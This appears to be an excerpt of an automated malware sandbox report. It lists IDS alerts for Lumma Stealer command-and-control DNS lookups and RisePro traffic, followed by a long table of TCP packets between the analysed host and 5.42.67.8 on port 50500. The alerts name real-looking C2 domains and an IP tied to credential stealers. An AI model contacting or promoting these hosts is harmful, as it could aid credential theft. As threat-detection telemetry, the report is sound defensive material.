06/20/24-06:49:15.859160	UDP	2053668	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (richardflorespoew .shop)	53588	53	192.168.2.4	1.1.1.1
06/20/24-06:49:15.789927	UDP	2053670	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (strwawrunnygjwu .shop)	59171	53	192.168.2.4	1.1.1.1
06/20/24-06:49:15.737805	UDP	2053678	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pleasurenarrowsdla .shop)	54451	53	192.168.2.4	1.1.1.1
06/20/24-06:49:20.253266	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49760	5.42.67.8	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 06:49:01.479412079 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:01.484324932 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:01.484422922 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:01.492405891 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:01.497394085 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:02.057188988 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:02.098781109 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:05.192848921 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:05.197700024 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:05.398747921 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:05.442589045 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:05.463093996 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:05.463203907 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:05.463314056 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:05.464313030 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:05.464350939 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:05.544287920 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:05.598962069 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:05.661751986 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:05.666610956 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:05.953094959 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:05.953238010 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:05.954997063 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:05.955022097 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:05.955416918 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:06.005068064 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:06.006953955 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:06.048528910 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:06.141819000 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:06.141927958 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:06.141995907 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:06.145442009 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:06.145486116 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:06.145514011 CEST	49739	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:06.145530939 CEST	443	49739	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:06.156470060 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.156567097 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.156658888 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.157174110 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.157212019 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.644325018 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.644514084 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.648780107 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.648817062 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.649071932 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.650764942 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.692528963 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.860215902 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.860265970 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.860383987 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.868865967 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.868921995 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.868951082 CEST	49740	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:06.868972063 CEST	443	49740	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:06.869358063 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:06.874281883 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.093225002 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.145803928 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:07.192991018 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:07.197987080 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.392946005 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.411629915 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:07.416734934 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.612926960 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.612965107 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.613115072 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:07.630408049 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:07.635524988 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.829545975 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:07.849792004 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:07.854696035 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:08.050616980 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:08.114506006 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.133418083 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.137173891 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.139470100 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142282963 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142352104 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142360926 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142410994 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142417908 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142441988 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142467976 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142471075 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142501116 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142524958 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142529011 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142570019 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142577887 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142604113 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142632008 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.142637014 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142667055 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.142692089 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.144083023 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.144155979 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147474051 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147504091 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147536039 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147547007 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147582054 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147640944 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147670031 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147720098 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147722006 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147747993 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147784948 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147798061 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147814989 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147828102 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147871971 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147880077 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147908926 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.147916079 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.147962093 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.149139881 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.149219036 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.153606892 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.153692007 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.153697014 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.153764009 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.154764891 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.154841900 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.154860020 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.154891968 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.154942036 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.154963970 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.154983044 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.154999018 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155016899 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155028105 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155070066 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155082941 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155113935 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155144930 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155148029 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155172110 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155184031 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155200005 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155215025 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155247927 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155255079 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155283928 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155313969 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155314922 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155342102 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155342102 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.155375004 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.155401945 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.156745911 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.156773090 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.156810999 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.156831026 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.156860113 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.156873941 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.156894922 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.156903982 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.156929970 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.156933069 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.156964064 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.156984091 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.156990051 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.157012939 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.157040119 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.157048941 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.157077074 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.157100916 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.160073996 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.160149097 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.161737919 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.161789894 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.161809921 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.161818981 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.161840916 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.161870956 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.161886930 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.161900997 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.161930084 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.161932945 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.161958933 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.161959887 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.161988020 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162010908 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162014961 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162039042 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162065029 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162066936 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162096024 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162096024 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162123919 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162132978 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162143946 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162148952 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162153959 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162197113 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162226915 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162429094 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162466049 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162491083 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162518024 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162535906 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162545919 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162580967 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162597895 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162607908 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162627935 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162648916 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162657976 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162687063 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162692070 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162720919 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162743092 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162754059 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162782907 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162811041 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162813902 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162837982 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162846088 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162866116 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162874937 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162903070 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162913084 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.162915945 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162955999 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.162982941 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.163829088 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.163857937 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.163886070 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.163889885 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.163914919 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.163928986 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.163949966 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.163957119 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.163978100 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.163984060 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164022923 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164038897 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164048910 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164077997 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164103031 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164112091 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164132118 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164140940 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164163113 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164170027 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164196014 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164197922 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164222956 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164226055 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164252043 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164278030 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164287090 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164307117 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164340973 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164349079 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164367914 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164378881 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164402962 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164407015 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164427996 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164437056 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164465904 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164470911 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164515018 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.164525986 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.164573908 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165079117 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165131092 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165136099 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165159941 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165186882 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165186882 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165216923 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165240049 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165244102 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165268898 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165292978 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165297031 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165338039 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165339947 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165366888 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165368080 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165395975 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165396929 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165450096 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165457964 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165478945 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165498972 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165508032 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165534973 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165535927 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165565014 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165565014 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165590048 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165592909 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165621042 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165621996 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165648937 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.165678024 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.165705919 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.167679071 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.167707920 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.167769909 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169234991 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169270992 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169301033 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169303894 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169329882 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169332027 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169384003 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169385910 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169414043 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169440985 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169441938 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169473886 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169497013 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169498920 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169524908 CEST	50500	49732	5.42.67.8	192.168.2.4
